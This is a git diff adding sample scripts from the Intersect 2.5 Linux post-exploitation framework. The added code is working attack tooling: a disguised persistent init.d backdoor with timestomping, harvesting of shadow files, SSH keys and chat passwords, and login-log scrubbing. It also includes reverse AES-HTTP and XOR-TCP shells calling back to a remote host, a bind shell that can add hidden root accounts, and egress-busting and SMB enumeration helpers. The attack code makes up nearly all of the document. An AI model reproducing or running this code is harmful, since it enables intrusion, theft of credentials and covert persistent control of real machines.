for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def egressbuster(): + ''' + @description: Checks a range of ports to find available outbound ports. used to break egress filters. + @author: original code by David Kennedy aka ReL1K + @short: finds open outbound ports + ''' + if len(sys.argv) <=2: + print("[!] Must specify a port-range!") + sys.exit() + + portrange = sys.argv[2] + portrange = portrange.split("-") + lowport = int(portrange[0]) + highport = int(portrange[1]) + base_port = int(lowport)-1 + end_port = int(highport) + + print "Sending packets to egress listener..." + + while 1: + base_port = base_port + 1 + thread.start_new_thread(start_socket, (RHOST,base_port)) + + time.sleep(0.02) + + if base_port == end_port: + break + + print "All packets have been sent" + + +def start_socket(RHOST,base_port): + try: + sockobj = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sockobj.connect((RHOST, base_port)) + sockobj.send(str(base_port)) + sockobj.close() + except Exception, e: + print e + # pass through, ports closed + pass + + + +def openshares(): + ''' + @description: Uses smbclient to find open SMB shares on a specified host. Usage: ./Intersect.py --openshares 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: find open SMB shares + ''' + ipaddr = sys.argv[2] + + if whereis('smbclient') is None: + print("[!] SMBClient cannot be found on this system!") + sys.exit() + + else: + print("[+] Enumerating open shares....\n") + + os.popen("/usr/bin/smbclient -L %s -N" % ipaddr) + + getdisks = os.popen(r'/usr/bin/smbclient -L %s -N 2>/dev/null| grep " Disk " | sed -e "s/ Disk .*//" | sed -e "s/^[ \t]*//"' % ipaddr) + disks = getdisks.readlines() + disks = filter(None, disks) + disks = [d.strip() for d in disks] + getdisks.close() + + for disk in disks: + proc = Popen('/usr/bin/smbclient //%s/"%s" -N -c "dir;exit" 2>/dev/null'%(ipaddr,disk), + shell=True, + stdout=PIPE, + ) + output = proc.communicate()[0] + print("[+] Contents of %s " % disk) + print output + +def portscan(): + ''' + @description: Very simple port scan. Scans ports 1 - 1000 on specified IP. Best used against LAN hosts. Usage: ./Intersect.py -p 192.168.1.4 + @author: ohdae [bindshell@live.com] + @short: port scanner (-p ) + ''' + if len(sys.argv) <=2: + print("[!] Must specify an IP address!") + Shutdown() + + ipaddr = sys.argv[2] + print("[+] Starting portscan of: %s " % ipaddr) + + for i in range(1, 1000): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + result = s.connect_ex((ipaddr, i)) + if(result == 0) : + print("[+] Port open %d " % (i,)) + s.close() + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -n --network enumerate network info') + print(' -c --creds enumerate user and system credentials') + print(' -e --egressbuster finds open outbound ports') + print(' -o --openshares find open SMB shares') + print(' -p --portscan port scanner (-p )') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'nceop', ['network', 'creds', 'egressbuster', 'openshares', 'portscan', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-n', '--network'): + network() + elif o in ('-c', '--creds'): + creds() + elif o in ('-e', '--egressbuster'): + egressbuster() + elif o in ('-o', '--openshares'): + openshares() + elif o in ('-p', '--portscan'): + portscan() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/Persist.py b/Intersect-2.5/Scripts/Samples/Persist.py new file mode 100644 index 0000000..94e55aa --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Persist.py @@ -0,0 +1,677 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor'] + PORT = 8888 + RHOST = '192.168.1.4' + RPORT = 4444 + PPORT = 8888 + PKEY = 'KXYRTUX' +def persistent(): + ''' + @description: Installs any Intersect shell module as a persistent backdoor. Will start shell on every system reboot. + @author: ohdae [bindshell@live.com] | additional code and fixes by bonsaiviking + @short: install persistent backdoor + ''' + header = " => " + print("Select option: ") + print("1. Add new service") + print("2. Remove existing persistence") + option = raw_input("%s " % (header)) + + if option == '1': + addpersist() + elif option == '2': + if os.path.exists("/etc/init.d/sysupd") is True: + print("[+] Removing Intersect persistence...") + if whereis('chattr') is not None: + os.system("chattr -i /etc/init.d/sysupd") + os.system("chattr -i /etc/default/sysupd") + os.system("rm /etc/init.d/sysupd") + os.system("update-rc.d sysupd remove") + os.system("rm /etc/default/sysupd") + print("[+] Persistent shell successfully removed!") + else: + print("[!] No existing persistent shell found!") + else: + print("[!] Invalid option! Enter '1' or '2'") + + +def addpersist(): + header = " => " + print("Full path of your Intersect script: ") + currentfile = raw_input("%s " % (header)) + + if os.path.exists(currentfile) is True: + shutil.copy2(currentfile, "/etc/default/sysupd") + else: + print("[!] Incorrect file path, Try again!") + persistent() + + + print("Specify which shell to use: ") + shell = raw_input("%s " % (header)) + + if shell in modList is False: + print("[!] Shell module not loaded!") + persistent() + else: + if os.path.isdir("/etc/init.d"): + serwrite = open("/etc/init.d/sysupd", "w") + serwrite.write("#!/bin/sh\ncd /etc/default/\npython sysupd --%s &" % shell) + serwrite.close() + os.system("chmod +x /etc/init.d/sysupd") + os.system("update-rc.d sysupd defaults") + print("[+] Persistent service installed.") + print("[+] Modifying accessed and modified times on shell files.") + copystat = os.stat('/etc/init.d/rcS') + os.utime("/etc/default/sysupd",(copystat.st_atime, copystat.st_mtime)) + os.utime("/etc/init.d/sysupd",(copystat.st_atime, copystat.st_mtime)) + print("[+] Attempting to lock down shell files...") + if whereis('chattr') is not None: + status = os.system("chattr +i /etc/default/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + status = os.system("chattr +i /etc/init.d/sysupd") + if status & 0xff00: + print("[!] Chattr exited with non-zero status. Could not lock files.") + else: + print("[!] Chattr not found. Could not lock files.") + + print("[+] Persistent shell successfull! System will now start your shell as a background process on every reboot.") + + + + + +def daemon(stdin='/dev/null', stdout='/dev/null', stderr='/dev/null'): + ''' + @description: Daemonize an Intersect script. When executed you'll be given the PID to monitor or kill the task if needed + @author: ohdae [bindshell@live.com] + @short: run as background process + ''' + try: + pid = os.fork() + if pid > 0: + sys.exit(0) + except OSError, e: + print >>sys.stderr, "fork one failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + os.chdir("/") + os.setsid() + os.umask(0) + + try: + pid = os.fork() + if pid > 0: + print "[+] Daemon PID %d" % pid + sys.exit(0) + except OSError, e: + print("[!] Intersect will now run in the background. Check %s for your reports." % Temp_Dir) + print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror) + sys.exit(1) + + si = file(stdin, 'r') + so = file(stdout, 'a+') + se = file(stderr, 'a+', 0) + os.dup2(si.fileno(), sys.stdin.fileno()) + os.dup2(so.fileno(), sys.stdout.fileno()) + os.dup2(se.fileno(), sys.stderr.fileno()) + + + +def creds(): + ''' + @description: Gather user and system credentials. Looks for passwords, SSH keys, SSL certs, certain application creds, user histories and more. + @author: ohdae [bindshell@live.com] + @short: enumerate user and system credentials + ''' + print("[+] Collecting user and system credentials....") + maketemp("credentials") + os.chdir(Temp_Dir+"/credentials/") + + os.system('getent passwd > passwd.txt') + os.system('getent shadow > shadow.txt') + os.system("lastlog > lastlog.txt") + os.system("last -a > last.txt") + os.system("getent aliases > mail_aliases.txt") + + + os.system("find / -maxdepth 3 -name .ssh > ssh_locations.txt") + os.system("ls /home/*/.ssh/* > ssh_contents.txt") + sshfiles = ["ssh_locations.txt","ssh_contents.txt"] + combinefiles("SSH_Locations.txt", sshfiles) + os.system("rm ssh_locations.txt ssh_contents.txt") + if os.path.exists(Home_Dir+"/.bash_history") is True: + os.system("cat "+Home_Dir+"/.bash_history | grep ssh > SSH_History.txt") + + + credentials = [ "/etc/master.passwd", "/etc/sudoers", "/etc/ssh/sshd_config", Home_Dir+"/.ssh/id_dsa", Home_Dir+"/.ssh/id_dsa.pub", + Home_Dir+"/.ssh/id_rsa", Home_Dir+"/.ssh/id_rsa.pub", Home_Dir+"/.gnupg/secring.gpg", Home_Dir+"/.ssh/authorized_keys", + Home_Dir+"/.ssh/known_hosts", "/etc/gshadow", "/etc/ca-certificates.conf", "/etc/passwd" ] + for x in credentials: + copy2temp(x, "credentials") + + + users() + if whereis('pidgin') is not None: + for user in userlist: + if os.path.exists("/home/"+user+"/.purple/accounts.xml") is True: + accts = open("/home/"+user+"/.purple/accounts.xml") + saved = open("Pidgin.txt", "a") + for line in accts.readlines(): + if '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + elif '' in line: + saved.write(line) + else: + pass + + accts.close() + saved.close() + + for user in userlist: + if os.path.exists("/home/"+user+"/.irssi/config") is True: + accts = open("/home/"+user+"/.irssi/config") + saved = open("irssi.txt", "a") + for line in accts.readlines(): + if "password = " in line: + saved.write(line) + else: + pass + accts.close() + saved.close() + + for user in userlist: + copy2temp("/home/"+user+"/.znc/configs/znc.conf") + + + + +def scrub(): + ''' + @description: Attempts to remove the currently logged in username and IP address from utmp, wtmp and lastlog. Intrusive method. + @author: ohdae [bindshell@live.com] + @short: cleans utmp, wtmp and lastlog + ''' + try: + Current_User = os.getlogin() + except OSError: + print "[!] Cannot find user in logs. Did you all ready run --scrub ?" + return + + newUtmp = scrubFile(UTMP_FILEPATH, Current_User) + writeNewFile(UTMP_FILEPATH, newUtmp) + print "[+] %s cleaned" % UTMP_FILEPATH + + newWtmp = scrubFile(WTMP_FILEPATH, Current_User) + writeNewFile(WTMP_FILEPATH, newWtmp) + print "[+] %s cleaned" % WTMP_FILEPATH + + newLastlog = scrubLastlogFile(LASTLOG_FILEPATH, Current_User) + writeNewFile(LASTLOG_FILEPATH, newLastlog) + print "[+] %s cleaned" % LASTLOG_FILEPATH + + +def scrubFile(filePath, Current_User): + newUtmp = "" + with open(filePath, "rb") as f: + bytes = f.read(UTMP_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hi32s4s32s256shhiii36x", bytes) + if cut(data[4]) != Current_User and cut(data[5]) != User_Ip_Address: + newUtmp += bytes + bytes = f.read(UTMP_STRUCT_SIZE) + f.close() + return newUtmp + + +def scrubLastlogFile(filePath, Current_User): + pw = pwd.getpwnam(Current_User) + uid = pw.pw_uid + idCount = 0 + newLastlog = '' + + with open(filePath, "rb") as f: + bytes = f.read(LASTLOG_STRUCT_SIZE) + while bytes != "": + data = struct.unpack("hh32s256s", bytes) + if (idCount != uid): + newLastlog += bytes + idCount += 1 + bytes = f.read(LASTLOG_STRUCT_SIZE) + return newLastlog + + +def writeNewFile(filePath, fileContents): + f = open(filePath, "w+b") + f.write(fileContents) + f.close() + + + +def aeshttp(): + ''' + @description: Starts a reverse HTTP shell with AES encryption that will connect back to a remote host. + @short: reverse AES HTTP shell + @author: original code by David Kennedy aka ReL1k + ''' + import httplib + import urllib + try: + from Crypto.Cipher import AES + except ImportError: + print("[!] Python Crypto library is not installed. This module will not work without this!") + sys.exit(2) + + BLOCK_SIZE = 32 + PADDING = '{' + pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING + EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s))) + DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING) + + secret = "Fj39@vF4@54&8dE@!)(*^+-pL;'dK3J2" + + cipher = AES.new(secret) + + while 1: + + req = urllib2.Request('http://%s:%s' % (RHOST,RPORT)) + message = urllib2.urlopen(req) + message = base64.b64decode(message.read()) + message = DecodeAES(cipher, message) + + if message == "killme": + sys.exit() + + if message.startswith("cd"): + destination = message[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + else: + pass + + + proc = subprocess.Popen(message, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + + data = proc.stdout.read() + proc.stderr.read() + data = EncodeAES(cipher, data) + data = base64.b64encode(data) + data = urllib.urlencode({'cmd': '%s'}) % (data) + h = httplib.HTTPConnection('%s:%s' % (RHOST,RPORT)) + headers = {"User-Agent" : "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0)","Content-type": "application/x-www-form-urlencoded", "Accept": "text/plain"} + h.request('POST', '/index.aspx', data, headers) + + + +def xor(string, key): + ''' + @description: Opens a reverse XOR ciphered TCP shell to a remote host. Interactive shell with download/upload and remote Intersect module execution. + @author: ohdae [bindshell@live.com] + @short: reverse XOR TCP shell + ''' + data = '' + for char in string: + for ch in key: + char = chr(ord(char) ^ ord(ch)) + data += char + return data + + +def reversexor(): + socksize = 4096 + conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + + try: + conn.connect((RHOST, RPORT)) + conn.send(xor("[+] New connection established!", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + except: + print("[!] Connection error!") + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + cmd2 = xor(cmd, PKEY) + proc = Popen(cmd2, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd2.startswith('cd'): + destination = cmd2[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + elif os.path.isdir(os.getcwd()+destination): + os.chdir(os.getcwd()+destination) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + else: + conn.send(xor("[!] Directory does not exist", PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send(xor("[+] Root account " + acct + " has been created.", PKEY)) + + elif cmd2.startswith('upload'): + getname = cmd2.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + data = conn.recv(socksize) + filedata = xor(data, PKEY) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send(xor("[+] File upload complete!", PKEY)) + if not os.path.isfile(filename): + conn.send(xor("[!] File upload failed! Please try again", PKEY)) + + elif cmd2.startswith('download'): + getname = cmd2.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + senddata = xor(filedata, PKEY) + conn.sendall(senddata) + else: + conn.send(xor("[+] File not found!", PKEY)) + + elif cmd2.startswith("rebootsys"): + conn.send(xor("[!] Server system is going down for a reboot!", PKEY)) + os.system("shutdown -h now") + + elif cmd2 == ("extask"): + conn.send(xor(str(modList), PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + elif cmd2.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send(xor("[!] Module not loaded!", PKEY)) + else: + conn.send(xor("[+] Executing %s " % modname, PKEY)) + execmod = modname+"()" + execmod + + elif cmd2 == ('killme'): + conn.send(xor("[!] Shutting down shell!\n", PKEY)) + conn.close() + sys.exit(0) + + elif proc: + conn.send(xor( stdout , PKEY)) + conn.send(xor("\nIntersect "+str(os.getcwd())+" => ", PKEY)) + + + + +def usage(): + print('============================================') + print(' intersect 2.5 | custom version ') + print(' http://bindshell.it.cx | ohdae') + print(' Modules:') + print(' -p --persistent install persistent backdoor') + print(' -d --daemon run as background process') + print(' -c --creds enumerate user and system credentials') + print(' -s --scrub cleans utmp, wtmp and lastlog') + print(' -a --aeshttp reverse AES HTTP shell') + print(' -r --reversexor reverse XOR TCP shell') + +def main(argv): + try: + opts, args = getopt.getopt(sys.argv[1:], 'pdcsar', ['persistent', 'daemon', 'creds', 'scrub', 'aeshttp', 'reversexor', 'help']) + except getopt.GetoptError, err: + print str(err) + Shutdown() + for o, a in opts: + if o in ('-h', '--help'): + usage() + Shutdown() + sys.exit(2) + elif o in ('-p', '--persistent'): + persistent() + elif o in ('-d', '--daemon'): + daemon() + elif o in ('-c', '--creds'): + creds() + elif o in ('-s', '--scrub'): + scrub() + elif o in ('-a', '--aeshttp'): + aeshttp() + elif o in ('-r', '--reversexor'): + reversexor() + else: + assert False, 'unhandled option' + Shutdown() + + +globalvars() +environment() +if __name__ == "__main__": + if len(sys.argv) <=1: + usage() + main(sys.argv[1:]) \ No newline at end of file diff --git a/Intersect-2.5/Scripts/Samples/README b/Intersect-2.5/Scripts/Samples/README new file mode 100644 index 0000000..1192b56 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/README @@ -0,0 +1,17 @@ +Intersect 2.5 Framework - Sample Scripts + +This folder contains some pre-built sample Intersect scripts. These scripts are just examples to show you the end result +of a custom built script. Each pre-built script focuses on a specific area, such as persistence, network information, exfiltration, etc. +A quick explanation of each sample and the included modules is listed below. + +Persist.py Script + modules: bshell, persistent, creds + +Network.py Script + modules: network, lanmap, webproxy, egressbuster + +Shells.py Script + modules: aeshttp, xorshell, network, persistent, scrub + +Gather.py Script + modules: osuser, creds, extras, network, archive diff --git a/Intersect-2.5/Scripts/Samples/Shells.py b/Intersect-2.5/Scripts/Samples/Shells.py new file mode 100644 index 0000000..32e5fe1 --- /dev/null +++ b/Intersect-2.5/Scripts/Samples/Shells.py @@ -0,0 +1,808 @@ +#!/usr/bin/python +# intersect 2.0 | created by ohdae +# copyright 2012 +# payload_template to be used with Create.py + +import sys, os, re, signal +from subprocess import Popen,PIPE,STDOUT,call +import platform +import shutil +import getopt +import tarfile +import socket +import urllib2 +import random, string +import logging +import struct +import getpass +import pwd +import thread +import base64 +import operator +import SocketServer, SimpleHTTPServer + +cut = lambda s: str(s).split("\0",1)[0] +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) + +try: + from scapy.all import * +except ImportError: + try: + from scapy import * + except ImportError: + print("Scapy is not installed. It can be downloaded here => https://www.secdev.org/projects/scapy/\n") + +def environment(): + global Home_Dir + global Temp_Dir + global Config_Dir + global User_Ip_Address + global UTMP_STRUCT_SIZE + global LASTLOG_STRUCT_SIZE + global UTMP_FILEPATH + global WTMP_FILEPATH + global LASTLOG_FILEPATH + global distro + global distro2 + + ## Global variables for remote shells are defined during the creation process + ## Variables for Scrub module. Do not change unless you know what you're doing. + UTMP_STRUCT_SIZE = 384 + LASTLOG_STRUCT_SIZE = 292 + UTMP_FILEPATH = "/var/run/utmp" + WTMP_FILEPATH = "/var/log/wtmp" + LASTLOG_FILEPATH = "/var/log/lastlog" + + distro = os.uname()[1] + distro2 = platform.linux_distribution()[0] + + Home_Dir = os.environ['HOME'] + User_Ip_Address = socket.gethostbyname(socket.gethostname()) + + Rand_Dir = ''.join(random.choice(string.letters) for i in xrange(12)) + Temp_Dir = "/tmp/lift-"+"%s" % Rand_Dir + Config_Dir = Temp_Dir+"/configs/" + + if os.geteuid() != 0: + print("[*] Intersect should be executed as a root user. If you are not root, Intersect can check for privilege escalation vulnerabilites.") + print("[*] Enter '1' to check for possible vulnerabilities (privesc module must be loaded). Enter '99' to exit without checking.") + option = raw_input("=> " ) + if option == '1': + privesc() + sys.exit() + else: + sys.exit() + else: + pass + + signal.signal(signal.SIGINT, signalHandler) + + os.system("clear") + print("[+] Creating temporary working environment....") + + os.chdir(Home_Dir) + + if os.path.exists(Temp_Dir) is True: + os.system("rm -rf "+Temp_Dir) + + if os.path.exists(Temp_Dir) is False: + os.mkdir(Temp_Dir) + + print "[!] Reports will be saved in: %s" % Temp_Dir + + +def signalHandler(signal, frame): + print("[!] Ctrl-C caught, shutting down now"); + Shutdown() + + +def Shutdown(): + if not os.listdir(Temp_Dir): + os.rmdir(Temp_Dir) + sys.exit() + +def whereis(program): + for path in os.environ.get('PATH', '').split(':'): + if os.path.exists(os.path.join(path, program)) and \ + not os.path.isdir(os.path.join(path, program)): + return os.path.join(path, program) + return None + + +def copy2temp(filename, subdir=""): + if os.path.exists(filename) is True: + pass + if subdir == "" is True: + shutil.copy2(filename, Temp_Dir) + else: + if os.path.exists(Temp_Dir+"/"+subdir) is True: + subdir = (Temp_Dir+"/"+subdir) + shutil.copy2(filename, subdir) + elif os.path.exists(subdir) is True: + shutil.copy2(filename, subdir) + else: + subdir = (Temp_Dir+"/"+subdir) + os.mkdir(subdir) + shutil.copy2(filename, subdir) + else: + pass + +def write2file(filename, text): + if os.path.exists(filename) is True: + target = open(filename, "a") + target.write(text) + target.close() + else: + pass + +def writenew(filename, content): + new = open(filename, "a") + new.write(content) + new.close() + +def file2file(readfile, writefile): + if os.path.exists(readfile) is True: + readfile = open(readfile) + if os.path.exists(writefile) is True: + writefile = open(writefile, "a") + for lines in readfile.readlines(): + writefile.write(lines) + writefile.close() + readfile.close() + else: + readfile.close() + else: + pass + +def maketemp(subdir): + moddir = (Temp_Dir+"/"+subdir) + if os.path.exists(moddir) is False: + os.mkdir(moddir) + else: + pass + +def users(): + global userlist + userlist = [] + passwd = open('/etc/passwd') + for line in passwd: + fields = line.split(':') + uid = int(fields[2]) + if uid > 500 and uid < 32328: + userlist.append(fields[0]) + +def combinefiles(newfile, filelist): + content = '' + for f in filelist: + if os.path.exists(f) is True: + content = content + '\n' + open(f).read() + open(newfile,'wb').write(content) + else: + pass + +def tardir(name, directory): + tar = tarfile.open("%s.tar.gz", "w:gz" % name) + if os.path.exists(directory) is True: + tar.add("%s/" % directory) + print("[+] %s added to %s.tar.gz" % (name, directory)) + tar.close() + else: + print("[!] Could not find directory %s " % directory) + tar.close() + +def tarlist(name, filelist): + tar = tarfile.open("%s.tar.gz" % name, "w:gz") + for files in filelist: + if os.path.exists(files) is True: + tar.add(files) + else: + print("[!] %s not found. Skipping.." % files) + tar.close() + + print("[+] %s.tar.gz file created!" % name) + + + + +def globalvars(): + global PORT + global RHOST + global RPORT + global PPORT + global PKEY + global modList + + modList = ['bshell', 'xmlcrack', 'egressbuster', 'aeshttp', 'reversexor', 'xorshell', 'scrub'] + PORT = 4444 + RHOST = '192.168.1.4' + RPORT = 6666 + PPORT = 8888 + PKEY = 'JFDSISXX' + + +def bshell(): + ''' + @description: Starts a TCP bind shell on the target system. Interactive shell with download/upload, cd and ability to execute other modules remotely." + @author: ohdae [bindshell@live.com] + @short: TCP bindshell + ''' + HOST = '' + socksize = 4096 + server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1) + try: + server.bind((HOST, PORT)) + server.listen(10) + conn, addr = server.accept() + conn.send("\nIntersect "+str(os.getcwd())+" => ") + except: + print "[!] Connection closed." + sys.exit(2) + + while True: + cmd = conn.recv(socksize) + proc = Popen(cmd, + shell=True, + stdout=PIPE, + stderr=PIPE, + stdin=PIPE, + ) + stdout, stderr = proc.communicate() + + if cmd.startswith('cd'): + destination = cmd[3:].replace('\n','') + if os.path.isdir(destination): + os.chdir(destination) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + else: + conn.send("[!] Directory does not exist") + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith('adduser'): + strip = cmd.split(" ") + acct = strip[1] + os.system("/usr/sbin/useradd -M -o -s /bin/bash -u 0 -l " + acct) + conn.send("[+] Root account " + acct + " has been created.") + + elif cmd.startswith('upload'): + getname = cmd.split(" ") + rem_file = getname[1] + filename = rem_file.replace("/","_") + filedata = conn.recv(socksize) + newfile = file(filename, "wb") + newfile.write(filedata) + newfile.close() + if os.path.isfile(filename): + conn.send("[+] File upload complete!") + if not os.path.isfile(filename): + conn.send("[!] File upload failed! Please try again") + + elif cmd.startswith('download'): + getname = cmd.split(" ") + loc_file = getname[1] + if os.path.exists(loc_file) is True: + sendfile = open(loc_file, "r") + filedata = sendfile.read() + sendfile.close() + conn.sendall(filedata) + else: + conn.send("[+] File not found!") + + elif cmd.startswith("rebootsys"): + conn.send("[!] Server system is going down for a reboot!") + os.system("shutdown -h now") + + elif cmd == ("extask"): + conn.send(str(modList)) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + elif cmd.startswith("extask"): + getname = cmd.split(" ") + modname = getname[1] + if modname in modList is False: + conn.send("[!] Module not loaded!") + else: + conn.send("[+] Executing %s " % modname) + execmod = modname+"()" + execmod + + elif cmd == ('killme'): + conn.send("[!] Shutting down shell!\n") + conn.close() + sys.exit(0) + + elif proc: + conn.sendall( stdout ) + conn.send("\nIntersect "+str(os.getcwd())+" => ") + + +def xmlcrack(): + ''' + @description: Sends hash list to remote XMLRPC server for cracking. Crackserver.py must be running on the remote host. + @author: original code by Stephen Haywood aka averagesecurityguy + @short: xmlrpc crack client (-x filename hashtype) + ''' + if len(sys.argv) <=3: + print("[!] Must specify a filename and hashtype!") + sys.exit() + + import time + try: + import xmlrpclib + except ImportError: + print("[!] Python library XMLRPC is not installed!") + sys.exit(0) + + data = [] + filename = sys.argv[2] + hashtype = sys.argv[3] + + try: + #Open the hash file and convert it to an array before sending it in the 